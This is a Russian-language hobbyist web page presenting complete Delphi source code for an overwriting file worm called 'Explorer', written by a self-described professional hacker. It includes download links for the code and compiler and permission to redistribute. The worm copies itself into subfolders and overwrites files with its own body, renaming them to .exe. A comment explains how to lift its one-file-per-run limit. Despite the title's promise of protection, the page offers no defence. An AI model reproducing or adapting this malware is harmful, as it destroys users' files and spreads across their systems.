Среда, 17.04.2024, 21:36 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Каким антивирусом вы пользуетесь?
Всего ответов: 782

Главная » Статьи » Delphi » Вирусология

Исходный код вируса | Перезаписывающий файловый червь Explorer (Исследователь) на Delphi и защита от него
Здравствуйте, меня зовут - Максимов Дмитрий Сергеевич, я, - профессиональный хакер, моё творение - вирус, - Перезаписывающий файловый червь, - Explorer (Исследователь), на Delphi.

Не являет полноценным исходным кодом, пользователь данного исходного кода, переделывает данный исходный код, под себя.

Разрешено, распространение, данного исходного кода и других компонентов, данной сборки, при условии, по возможности, указания автора, данного исходного кода и других компонентов, данной сборки, то есть - меня, - Максимова Дмитрия Сергеевича.

Мой стрим данного вируса на RuTube.ru: https://rutube.ru/video/0c86ad427bfef4a649f48454f51adfed/

Ссылки для скачивания:

Исходный код вируса - Explorer (Исследователь): https://disk.yandex.ru/d/0o6sdOqurkQmSQ
Компилятор - Borland Delphi 7 Enterprise: https://disk.yandex.ru/d/U6I5YQQKV3D6uw

Исходный код тела вируса - Explorer.dpr:

{ *********************************************************************** }
{ }
{ Компьютерный вирус: Explorer (Исследователь) }
{ Тип: Перезаписывающий файловый червь }
{ Разработано на Delphi-32 }
{ Операционная система Win32 NT }
{ }
{ Автор, ©: Максимов Дмитрий Сергеевич }
{ Сделано в России }
{ 2023 год }
{ }
{ *********************************************************************** }

// Не является полноценным исходным кодом, пользователь данного исходного кода, переделывает данный исходный код, под себя

program Explorer;

uses
WinLan, SysUtils;

//{$R Explorer.res} // Использование ресурса
{$I-} // Директива игнорирования ошибок (I/O) ввода/вывода

var
WriteIntX: Integer;

procedure Duplication(DirPath: string);
var
FR: Integer;
SR: TSearchRec;
begin
if not DirectoryExists(DirPath) then
Exit;
if (DirPath[Length(DirPath)] <> '\') and
(DirPath[Length(DirPath)] <> '/') then
DirPath:= DirPath + '\';
FR:= FindFirst(DirPath + '*.*', faAnyFile, SR);
while FR = 0 do
begin
if ((SR.Attr and faDirectory) = faDirectory) and
(SR.Name <> '.') and
(SR.Name <> '..') then
begin
WriteFileX(ParamStr(0), DirPath + Sr.Name + '\' + Sr.Name + '.exe');
Duplication(DirPath + SR.Name);
end;
FR:= FindNext(SR);
end;
end;

procedure XXX(DirPath: string);
var
FR: Integer;
SR: TSearchRec;
begin
if (WriteIntX <= 0) or
not DirectoryExists(DirPath) then
Exit;
if (DirPath[Length(DirPath)] <> '\') and
(DirPath[Length(DirPath)] <> '/') then
DirPath:= DirPath + '\';
FR:= FindFirst(DirPath + '*.*', faAnyFile, SR);
while FR = 0 do
begin
if (SR.Attr and faDirectory) <> faDirectory then
begin
if WriteIntX <= 0 then // Если это убрать, то данный вирус, будет перезаписывать файлы своим телом,
Exit; // в каждой папке, сразу
if CompareFiles(ParamStr(0), DirPath + SR.Name) = False then
begin
WriteFileX(ParamStr(0), DirPath + SR.Name);
if CompareFiles(ParamStr(0), DirPath + SR.Name) = True then
begin
if ExtractFileExt(DirPath + SR.Name) <> '.exe' then
RenameFile(DirPath + SR.Name, ChangeFileExt(DirPath + SR.Name, '.exe'));
WriteIntX:= WriteIntX - 1;
if WriteIntX <= 0 then
Exit;
end;
end;
end else
if (SR.Name <> '.') and
(SR.Name <> '..') then
XXX(DirPath + SR.Name);
FR:= FindNext(SR);
end;
end;

var
FolderX: string;
begin
FolderX:= 'Новая папка'; // Папка, где происходят действия данного вируса
Duplication(FolderX); // Рекурсивное распространение (размножение) данного вируса
WriteIntX:= 1; // Переменная указывающяя на количество рекурсивно перезаписываемых файлов телом данного вируса при каждом запуске
XXX(FolderX); // Рекурсивная перезапись файлов телом данного вируса
end.

Исходный код модуля - WinLan.pas:

{ *********************************************************************** }
{ }
{ Модуль: WinLan }
{ Разработано на Delphi-32 }
{ Операционная система Win32 NT }
{ }
{ Автор, ©: Максимов Дмитрий Сергеевич }
{ Сделано в России }
{ 2023 год }
{ }
{ *********************************************************************** }

unit WinLan;

interface

uses
Windows, SysUtils, Classes, Registry, SHFolder;

{$I-} // Директива игнорирования ошибок (I/O) ввода/вывода

const
faUsual = $00000080; // Атрибут обычного файла
EnglishAlphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';

function RusConsole(STR: string): string; // Функция перевода командной строки на русские символы для операционных систем ниже Windows 10
function GetFileSizeX(FilePath: string): Int64; // Функция получения размера файла
function CompareFiles(FileBody, FileX: string): Boolean; // Функция сравнения файлов на идентичность
function DiskFreeExistsFX(Drive, FileBody: string): Boolean; // Функция для проверки хватания памяти накопителя для записи (копирования) файла
procedure WriteFileX(FileBody, Path: string); // Процедура записи (копирования) файла до 1000000 символов
procedure WriteFileXS(FileBody, Path: string; Attr: Integer); // Расширенная процедура записи (копирования) файла до 1000000 символов с сохранением атрибута архивный, перезаписываемого файла (Атрибуты)
function GetFolderPath(Folder: Integer): string; // Получения пути к файлу или папки по уникальному коду
// Работа с системным реестром
function RegAddKey(Value: string; RootKey: Cardinal; PathKey: string; Chn: Boolean; NameKey: string): Boolean; // Создание директории (папки) в системном реестре
function RegDeleteKey(RootKey: Cardinal; PathKey, NameKey: string): Boolean; // Удаление директории (папки) в системном реестре
function RegAddValueKey(Value: string; RootKey: Cardinal; PathKey: string; Chn: Boolean; NameValueKey: string): Boolean; // Создание строкового параметра в системном реестре
function RegDeleteValueKey(RootKey: Cardinal; PathKey: string; NameValueKey: string): Boolean; // Удаление строкового параметра в системном реестре
// __

implementation

function RusConsole(STR: string): string;
var
i: Integer;
begin
for i:= 1 to Length(STR) do
begin
if (Ord(STR[i]) >= 192) and
(Ord(STR[i]) <= 239) then
STR[i]:= Chr(Ord(STR[i])-64);
if (Ord(STR[i]) >= 240) and
(Ord(STR[i]) <= 255) then
STR[i]:= Chr(Ord(STR[i])-16);
end;
Result:= STR;
end;

function GetFileSizeX(FilePath: string): Int64;
var
F: TMemoryStream;
begin
Result:= -1;
if not FileExists(FilePath) then
Exit;
try
F:= TMemoryStream.Create;
F.LoadFromFile(FilePath);
Result:= F.Size;
finally
F.Free;
end;
end;

function CompareFiles(FileBody, FileX: string): Boolean;
var
f1, f2: TextFile;
s1, s2: string;
begin
Result:= False;
if not FileExists(FileBody) and not FileExists(FileX) then
Exit;
if GetFileSizeX(FileBody) = GetFileSizeX(FileX) then
begin
AssignFile(f1, FileBody);
Reset(f1);
AssignFile(f2, FileX);
Reset(f2);
while not Eof(f1) do
begin
Readln(f1, s1);
Readln(f2, s2);
if s1 <> s2 then
begin
Result:= False;
CloseFile(f1);
CloseFile(f2);
Exit;
end;
end;
Result:= True;
CloseFile(f1);
CloseFile(f2);
end else
Result:= False;
end;

function DiskFreeExistsFX(Drive, FileBody: string): Boolean;
var
i: Integer;
begin
if DirectoryExists(Drive) then
begin
for i:= 1 to Length(EnglishAlphabet) do
if EnglishAlphabet[i] = Drive[1] then
if DiskFree(i) >= GetFileSizeX(FileBody) then
Result:= True else
Result:= False;
end else
Result:= False;
end;

procedure WriteFileX(FileBody, Path: string);
var
FromF,
ToF: file;
AttrFile,
NumRead: Integer;
Buf: array[1..1000000] of Char;
FM: Word;
FExist: Boolean;
begin
if not FileExists(Path) then
FExist:= False else
begin
FExist:= True;
AttrFile:= FileGetAttr(Path);
if AttrFile <> faUsual then
FileSetAttr(Path, faUsual);
end;
FM:= FileMode;
FileMode:= 0;
AssignFile(FromF, FileBody);
Reset(FromF, 1);
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
CloseFile(FromF);
FileMode:= 2;
AssignFile(ToF, Path);
Rewrite(ToF, 1);
BlockWrite(ToF, Buf, NumRead);
CloseFile(ToF);
FileMode:= FM;
if FExist = True then
if FileGetAttr(Path) <> AttrFile then
FileSetAttr(Path, AttrFile);
end;

procedure WriteFileXS(FileBody, Path: string; Attr: Integer);
var
AttrFile: Integer;
begin
if not FileExists(FileBody) then
WriteFileX(FileBody, Path) else
begin
if CompareFiles(FileBody, Path) then
begin
AttrFile:= FileGetAttr(Path);
if (AttrFile <> (Attr + faArchive)) and (AttrFile <> Attr) then
if (AttrFile and faArchive) = faArchive then
FileSetAttr(Path, Attr + faArchive) else
FileSetAttr(Path, Attr);
end else
begin
WriteFileX(FileBody, Path);
AttrFile:= FileGetAttr(Path);
if (AttrFile <> (Attr + faArchive)) and (AttrFile <> Attr) then
if (AttrFile and faArchive) = faArchive then
FileSetAttr(Path, Attr + faArchive) else
FileSetAttr(Path, Attr);
end;
end;
end;

function GetFolderPath(Folder: Integer): string;
var
Path: array[0..MAX_PATH] of Char;
begin
if Succeeded(SHGetFolderPath(0, Folder, 0, 0, Path)) then
Result:= Path else
Result:= '';
end;

function RegAddKey(Value: string; RootKey: Cardinal; PathKey: string; Chn: Boolean; NameKey: string): Boolean;
var
Reg: TRegistry;
begin
Result:= False;
Reg:= TRegistry.Create;
try
Reg.RootKey:= RootKey;
if Reg.OpenKey(PathKey, Chn) then
begin
if not Reg.KeyExists(NameKey) then
Reg.CreateKey(NameKey);
Reg.OpenKey(NameKey, False);
if Reg.ReadString('') <> Value then
Reg.WriteString('', Value);
end else
Exit;
Reg.CloseKey;
Result:= True;
finally
Reg.Free;
end;
end;

function RegDeleteKey(RootKey: Cardinal; PathKey, NameKey: string): Boolean;
var
Reg: TRegistry;
begin
Result:= False;
Reg:= TRegistry.Create;
try
Reg.RootKey:= RootKey;
if Reg.OpenKey(PathKey, False) then
if Reg.KeyExists(NameKey) then
Reg.DeleteKey(NameKey);
Reg.CloseKey;
Result:= True;
finally
Reg.Free;
end;
end;

function RegAddValueKey(Value: string; RootKey: Cardinal; PathKey: string; Chn: Boolean; NameValueKey: string): Boolean;
var
Reg: TRegistry;
begin
Result:= False;
Reg:= TRegistry.Create;
try
Reg.RootKey:= RootKey;
if Reg.OpenKey(PathKey, Chn) then
begin
if not Reg.ValueExists(NameValueKey) then
Reg.WriteString(NameValueKey, Value) else
if Reg.ReadString(NameValueKey) <> Value then
Reg.WriteString(NameValueKey, Value);
end else
Exit;
Reg.CloseKey;
Result:= True;
finally
Reg.Free;
end;
end;

function RegDeleteValueKey(RootKey: Cardinal; PathKey, NameValueKey: string): Boolean;
var
Reg: TRegistry;
begin
Result:= False;
Reg:= TRegistry.Create;
try
Reg.RootKey:= RootKey;
if Reg.OpenKey(PathKey, False) then
begin
if Reg.ValueExists(NameValueKey) then
Reg.DeleteValue(NameValueKey);
end else
Exit;
Reg.CloseKey;
Result:= True;
finally
Reg.Free;
end;
end;

end.
Категория: Вирусология | Добавил: Дмитрий_IMAC (23.02.2023) | Автор: Дмитрий
Просмотров: 157 | Теги: delphi, Перезаписывающий файловый червь, Компьютерный вирус | Рейтинг: 5.0/1

Всего комментариев: 0
avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 454
Форум: 1165/8116
Коментариев: 768
Новостей: 29

Статистика пользователей
Всего: 330
За неделю: 1
Вчера: 0
Сегодня: 0
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz